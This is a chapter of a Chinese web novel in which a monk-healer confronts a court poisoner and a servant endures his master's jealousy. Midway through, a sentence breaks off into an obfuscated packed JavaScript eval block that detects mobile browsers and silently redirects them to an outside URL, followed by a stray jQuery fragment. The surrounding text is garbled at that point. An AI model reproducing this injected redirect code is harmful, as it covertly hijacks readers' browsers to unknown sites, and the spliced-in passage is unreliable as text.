85.吃味
作品:《九狱燃灯》 (1)
那日芯灯中毒恢复之后,月寒江离开,自此十余日过去了都没见人来。
芯灯心里有点犯嘀咕,但这并不影响他每日该做什么做什么。
月寒江没来,那个老头儿来了。
芯灯已经知道了这个“已过而立之年的老头儿”叫青相子。
青相子来的时候,芯灯院门外新挂着个木牌:
“非请勿入,后果自负!”
青相子觉得自己被针对了,浑不在意地推门而入:
“小和尚!你给老子出来!”
芯灯听见他的声音还真就出来了,但见到他还是愣了一下。
接着叉腰立眼:
“你来干什么!这里不欢迎你!”
青相子上下打量他,面上露出一点勉强之色:
“没想到你还挺厉害……”
芯灯不知道他说的厉害指的是什么,但他也不想同此人纠缠。
那日吃亏之后,芯灯就在心里对此人存了很大的戒心,不想再见到他。
“你到底来做什么?”
芯灯的好脾气也没了,毕竟面前的人对自己下过毒手。凡是害过他的人,他都不准备再跟他们打交道。
“老子来还你书~”青相子不尴不尬的说着,将手里带着的书给芯灯递过来。
“你站住!”芯灯心中顿生不妙之感,立刻就喝止了他,“你将书放在那边……那边的架子上……你别过来啊……”
青相子见这和尚还真挺警觉,一时也笑了:
“放心,这次没毒……”
说完,又不甘不愿地补充道:
“宫主亲自下令了,让老子同你好好相处,不许老子再对你下手……”
“真是小屁孩儿,还会告状呢~嘁~”
芯灯一愣,他没同重云宫主说什么。上次的事情,鉴于他最终没有受伤,他就决心将这事揭过了。
但听这老头儿的意思,是重云宫主找了他,并且命令他不许再对自己动手?
没想到这宫主还挺向着他的。
芯灯摸摸鼻子。
“书还了你就走吧……下次别再来了~”
芯灯仰脸儿,下着逐客令。
“挺俊一和尚,怎么尽说些恶毒的话……”
青相子掏掏耳朵,自己给自己找台阶下。
“老子都来给你还书了,你还想怎么着?”
芯灯是顶不喜欢这个人,更不喜欢从他那张刻薄的脸上看到一丁点对自己赞赏:
“我只想你离开,不要再回来!”
“我说了,我不想再见到你!”
芯灯说着,就□□架起了手,一副青相子若再上前,他就对他不客气的架势。
“行行行……老子走……”
青相子可不想跟芯灯打架,他已经在万旃君面前做了保证,不会再对眼前这小和尚不利,他不能食言。
这世界上谁的话他都可以不放在心上,但万旃君的话,他必须得听。
毕竟自己这条小命儿还握在他的手上,自己一时半会儿还不能下山去,他还需要重云宫的庇护。
“不过,小和尚,老子有两个问题问你,你回答了,老子就走……”
青相子开口。
芯灯狐疑地看着他,收了自己的架势:“什么问题。”
“嗯……”青相子眼珠子转了转,“你身上的毒是怎么解的?”
青相子自觉这是一个不难回答的问题,他猜这小和尚身上一定有现成的药,所以才能这么快就解了毒。
没想到那小和尚把腰一叉,没好气地对他说:
“无可奉告!”
青相子真要被他气笑了:
“好好好……那老子再问你,月寒江身上的毒可是你解的?”
芯灯听他这么问,忽然认真打量起他来,继而不答反问道:
“那毒……是你下的?”
无怪他有这样的猜测,毕竟这重云宫中唯一顶着个“神医”头衔的,就是青相子。那重云宫主不像是会工于岐黄之术的人,即便是要对月寒江下毒,也应不是他亲自动的手,亲自动手的只能是眼前这人了。
何况,从前些日此人在他身上下毒的手法来看,此人是善用毒的,一定对毒药一事颇有研究。这就不难解释,月寒江身上那分外难解的牵机之毒是出于什么人之手了。
苦心孤诣研制出这种毒药的人,实在是这世上最邪恶狠毒的天才。
青相子呵呵笑起来,样子颇为自得:
“正是!”
芯灯并不理解这有何可得意之处,但他在此刻突然理解了青相子。
就是有一类人,只会为自己卓尔不凡的手段和成果而自傲,却从不考虑那些手段和成果给他人带来的影响。
他们的灵魂上只长着一只眼,只能看见自己身上熠熠光彩,而看不见他人一丝一缕的影子。
因为只看得见自己,而看不见众生,这样的人往往就会成为为满足自己而不择手段之人,只会为自己的成就得意,而无视他的这份成就是否会让别人付出代价。
青相子就是这样的人。
想到此处,芯灯忽然露出了一个大大笑容,那笑容甚至很和善,很明媚,仿佛他们之间并无任何不快一般,只是老友相见。
青相子愣了一愣。
从来没有人对他这么笑过,他也没看过如此明媚好看的笑容。
如果那笑着的人没有说后面的话的话,那就更好了。
芯灯说:
“只会下毒而不会解毒之人,真是世上一等一的蠢货!”
从来没有人敢骂青相子是蠢货,从来没有!
特别是当着他的面如此说。
更没有人再对他露出那么友善的笑容之后,说出这样狠毒的话……
一瞬间,青相子就气炸了!
——就是字面意义上的气炸了!
怒气攻心的一瞬间,青相子明显感受到了自己胸中有什么炸开了,接着,他眼前一黑,栽倒在了地上。
(2)
月寒江有半月之久没去芯灯那里了。
因为他走不了。
——就是字面意义上的走不了。
那日从芯灯那里回来,就撞见了早归的万旃君。
万旃君见他从外面进来,头也没抬的问:
“去哪儿了?”
这个问题,有很多个意思。
它既是在问月寒江到底去了哪里,也是在问他为何去了这么久?
与何人在一起,因何待了这么久……
不一而足。
它甚至还反应出了万旃君此刻的心情,并不太好,也从侧面提醒月寒江注意言行。
以往那么多年的相处之中,万旃君每句话每个语气每个表情之后藏着怎样的情绪,月寒江即便不能猜个十成,□□成还是有的。
譬如此刻,万旃君只问了这四个字,但月寒江知道,若自己答的对方不满意,一定会引火上身。
在万旃君之后回来,已是大忌,月寒江心里忐忑起来。
这几日,万旃君常在白日里离山,傍晚或入更时方归。月寒江去芯灯那里也是算好了时间,计划在万旃君回来前就离开的。
怎奈遇上了芯灯中毒的事情,就在那里多耽误了一会儿——他总要确认芯灯真的没事,才能离开。
结果就是这么不凑巧,偏今日万旃君回来的早,太阳还没落山,他已经在寝宫里了。
月寒江上前,自然地越在凉烟之前,接过了万旃君喝空了的茶碗,顺势跪下,将在芯灯之处所见和盘托出。
万旃君听着,陷入了沉思,但脸上却没有什么表情。
月寒江拿不住万旃君的意思,将自己要说的话说完之后,就闭上了嘴。
良久,万旃君忽然问:
“你经常去他那里?”
月寒江愣了一下:
“谁?芯灯吗?不常去……也就这个月去过两三次……”
万旃君眯了眯眼:
“那小和尚的名字,你倒记得清楚……”
月寒江面色一僵,有点慌:
“奴没有……奴不是……”
但他的话并没能说完,因为万旃君忽然扳起他的下颌,将他整张脸端在了手中:
“这张脸还真是招人惦记呵……先是黥朗、后又是这和尚……”
“月寒江,怎么我就让你下了一次山,你就给我招了这许多人来……”
敏锐地捕捉到万旃君语气中的不快,月寒江有些害怕了:
“奴没有……他们上山,绝非为了奴啊……主人……”
万旃君细细打量着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982334|167116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这张脸,那目光仿若实质,在月寒江的脸上逡巡,碾过他每一寸肌肤。
桎梏着他下颌的力度小了点,万旃君松开了他几分,从开始的擒握改为了抚摸。月寒江心里憋着的一口气轻轻疏了出去、又重新吊了起来。
只听见万旃君轻声叹了一句:
“没办法,谁让这张脸就是生得这么招人呢……”
“我当初真该……”
月寒江直觉这并不是什么好话,但他也没敢反驳。
外面传来凉烟的一声通报:“宫主,晚膳已备好……可以用膳了……”
万旃君似没听见一般,只用手指一点点地摩挲着月寒江的脸,从眼睛到鼻梁又到嘴角。这么做的时候,万旃君的眼神似有些迷离,不知道在想什么……
月寒江实在没忍住,出声提醒了一句:
“主人……该用膳了……”
万旃君回了神,眼神清明起来,但目光依旧没有离开月寒江。只是在月寒江惊疑的目光中,轻轻勾起了嘴角:
“先不用膳,先用你……”
月寒江霎时有些后悔,自己刚才的出声提醒。
(3)
那一夜到后来都没能用成膳,万旃君不知道是受了什么刺激,将月寒江折腾了整整一夜。
等到第二日日头上了中天,月寒江才醒过来,而万旃君已经不在了。
那日万旃君没有下山,而月寒江也没有离开宿云宫。
确切地说,月寒江一连几日都没能离开宿云宫,就连万旃君几日后又下山去,他也没能走出重云宫。
月寒江被万旃君折腾过了头,喝了好几天的苦药,腿软到下不地。等完全好彻底之后,已经是小半月之后的事情了。
等月寒江再获准来芯灯这里的时候,芯灯已经配了六副药出来。
“我有着一种直觉,能解你身上牵机的解药,就在这六个药方里……”
芯灯见月寒江进来,拉着他的手就兴奋地汇报他的成果。
在两人蹲在地上看那几副放在纸上的药材时,月寒江不着痕迹地将自己的手从芯灯的手中抽了出来。
芯灯并没有觉察,他还沉浸在自己的喜悦里。
这可是他这半个月来每日苦思、琢磨得出的成果,芯灯觉得,这一次一定能行了。
月寒江听他这么说,脸上也露出一点喜色:
“真的吗?那我将这六副药一一试过,岂不是这毒就解了?”
“那不行!”芯灯皱眉摇头,“试药太伤身体了,再给我一点时间,我一定能比对出最有效的一个方子,然后再煎给你喝……”
月寒江呆了呆,他从前试过的药何止六副,青相子可从来不会对他说什么试药伤身的话……
“其实,不打紧的……”
月寒江跟芯灯蹲在一起,学着他的样子将下巴放在交叠的手臂上,轻轻地说。
“要紧要紧的,你别不当回事儿~”芯灯严肃起来,“是药三分毒,乱试药肯定会给日后留下一些隐患的,要不得要不得……除非你是天生百毒不侵的圣体,或者有什么灵丹妙药吊着命……不然等年纪大些,不知道会得什么莫名其妙的怪病……不到逼不得已的时候,千万莫要做傻事啊,寒江……”
芯灯说的一脸认真,说完还怕月寒江听不进去一样,用手肘撞了撞月寒江的。
月寒江只得应了一声:“嗯……”
芯灯不满意他这一个字的敷衍,又撞撞他:
“你不要这么不上心,你得爱惜着点这身子,我师父常说,人生在世最重要的就是这一副身子骨……第二重要的就是这副皮相……”
芯灯说着说着话头就飞了出去。
月寒江发现芯灯只要说起他师父的事情,总是滔滔不绝。
在芯灯的描述里,月寒江听出芯灯的师父是一位造诣极高的大师,于佛法和医术上尤其如此。
鲜少听到芯灯说起他师父的武功,不知道那位大师是不是也是一位行走江湖的高僧……
月寒江其实很喜欢听芯灯讲这些,他听得认真,也不打断他,只由着他天马行空地说……
毕竟,平日这重云山上,没人会像芯灯这样,同自己讲这许多的话……
就连果果,也说不了这么多的话……
那天下午的阳光很暖,晒得月寒江的心也暖暖的。